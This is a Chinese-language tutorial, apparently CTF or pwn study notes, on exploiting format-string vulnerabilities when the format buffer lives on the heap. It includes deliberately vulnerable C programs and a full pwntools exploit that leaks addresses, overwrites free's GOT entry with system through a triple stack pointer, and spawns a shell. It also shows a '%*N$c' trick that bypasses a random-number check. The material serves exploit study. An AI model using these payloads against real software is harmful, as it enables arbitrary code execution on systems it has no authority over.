格式化字符串在堆上的利用

前言

在面试星盟的时候,面试的师傅考到了这个问题。才明白过来,其实自己对于格式化字符串的理解还是太浅了。于是就按照书上的教程又学习了一下

格式化字符串不在栈上的利用方式

所谓堆上的格式化字符串指的是格式化字符串本身存储在堆上,这个主要增加了我们获取对应偏移的难度,而一般来说,该格式化字符串都是很有可能被复制到栈上的。

本来一般的格式化字符串是可以通过栈的压栈传参来控制后面的数据,达到任意地址写和任意地址读的,但是在堆上的,我们便无法去控制这些数据

于是我们就有了新的利用方法,通过在栈上三重指针p1 -> p2 -> p3 , 通过p1 去控制p2 的指针,然后我们就可以通过p2的指针去控制p3的值,于是我们便可以在p3上写入地址,然后通过p3指针去修改值。

下面是书上的源文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<stdio.h>
#include<unistd.h>

void init()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
return;
}
void fsb(char * format,int n)
{
puts("please input your name:");
read(0,format,n);
printf("hello ");
printf(format);
return;
}
void vuln()
{
char * format = malloc(200);
for(int i = 0; i<30 ;i++)
{
fsb(format,200);
}
free(format);
return;
}
int main()
{
init();
vuln();
return;
}

通过下面的命令编译程序

1
2
3
4
all:
gcc -fstack-protector-all -pie -fPIE -z lazy format.c -o format -g
clean:
rm format

利用方式

可以看到这里是存在格式化字符串漏洞的,但是这个字符串是在堆上的,于是我们便无法控制指针的内容。这里的一个思路便是通过上面说的三重指针去修改free的got表为systenm函数的地址,然后修改free的参数为/bin/sh就行了。下面是具体的利用脚本:

  • 64位的格式化字符串传参是通过RSI、RDX、RCX、R8、R9来传递的,RDI来存放格式化字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# -*- coding=utf-8 -*-
#!/usr/bin/env python3
# A script for pwn exp
from pwn import *
import os
import sys

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

LOCAL = 1
LIBC = 1
elf_path = './format'
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
code = ELF(elf_path)
context.arch=code.arch


r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level = 'debug'


# --------------------------func-----------------------------
def db():
if (LOCAL):
gdb.attach(io)


def cat_flag():
flag_header = b'flag{'
sleep(1)
sl('cat flag')
ru(flag_header)
flag = flag_header + ru('}') + b'}'
exit(0)
print
# --------------------------exploit--------------------------
def exploit():
li("泄露地址")
li('exploit...')
pl = "%10$p%11$p%21$p"
sla("please input your name:\n",pl)
ru("0x")
stack = int(ru('0x'),16)
base = int(ru("0x"),16)-elf.symbols['vuln']- 63-0x4
libc_base = int(ru('\n'),16) - libc.symbols['__libc_start_main'] - 243
li("stack_ebp addr -----> 0x%x"% stack)
li("main_base addr -----> 0x%x"% base)
li("libc_base addr -----> 0x%x"% libc_base)
#计算三个指针地址
# rbp 0x7fff06691a80 —▸ 0x7fff06691ab0 —▸ free_got
p1 = (stack - 0x30)
p2 = (stack)
p3 = (stack+ 0x20)
free_got = base + elf.got['free']
system = libc_base+libc.symbols['system']
li("system: ------> 0x%x"% system)
li("free_got -----> 0x%x"% free_got)
li("p1 ------->0x%x"% p1)
li("p2 ------->0x%x"% p2)
li("p3 ------->0x%x"% p3)
li("overwrite p3 to free_got")
for i in range(0,6):
x = 5-i
off = (p3+x)&0xff
#取最低的一个字节
ru("name:\n")
pl1 = "%"+str(off)+"c%10$hhn"+'\x00'*50
sl(pl1)
ch = (free_got>>(x*8))&0xff
li("ch ---> 0x%x" % ch)
pl2 = "%"+str(ch)+"c%16$hhn"+'\x00'*50
ru("name:\n")
sl(pl2)
#db()
#pause()

li("修改p3的地址指向free_got,然后修改p3指向的地址上的值为sytem")
for i in range(0,6):
x = 5-i
off = (free_got+x)&0xff
#取最低的一个字节
ru("name:\n")
pl1 = "%"+str(off)+"c%16$hhn"+'\x00'*50
sl(pl1)
ch = (system>>(x*8))&0xff
li("ch ---> 0x%x" % ch)
pl2 = "%"+str(ch)+"c%20$hhn"+'\x00'*50
ru("name:\n")
sl(pl2)
for i in range(30 - 25):
ru("name:\n")
sl('/bin/sh'+'\x00')

def finish():
ia()
c()


# --------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env={"LD_PRELOAD": libc_path})
else:
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

格式化字符串的特殊用法–占位符

格式化字符串有时候回遇到一些比较少见的占位符,如“*”表示取对应的函数参数的值来作为宽度。

下面是案例教程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>

int main()
{
char buf[100];
long long a = 0;
long long b =0;
int fp = open("/dev/urandom",O_RDONLY);
read(fp,&a,2);
read(fp,&b,2);
close(fp);
long long num;
puts("your name:");
read(0,buf,100);
puts("you can guess a number ,if you are lucky I will give you a gift:");

long long *num_ptr = &num;
scanf("%lld",num_ptr);
printf("hello ");
printf(buf);
puts("let me see ......");
if(a+b == num)
{
puts("you win ,I will give you a shell!");
system("/bin/sh");
}
else {
puts("you are not lucky enough");
exit(0);
}
}

只要我们输入的值等于随机的数字相加的值即可获得shell,然后下面是对应的exp

1
2
3
4
def exploit():
pl = "%*8$c"+"%*9$c"+"%11$n"
sla('name:\n',pl)
sla("gift:\n",'1')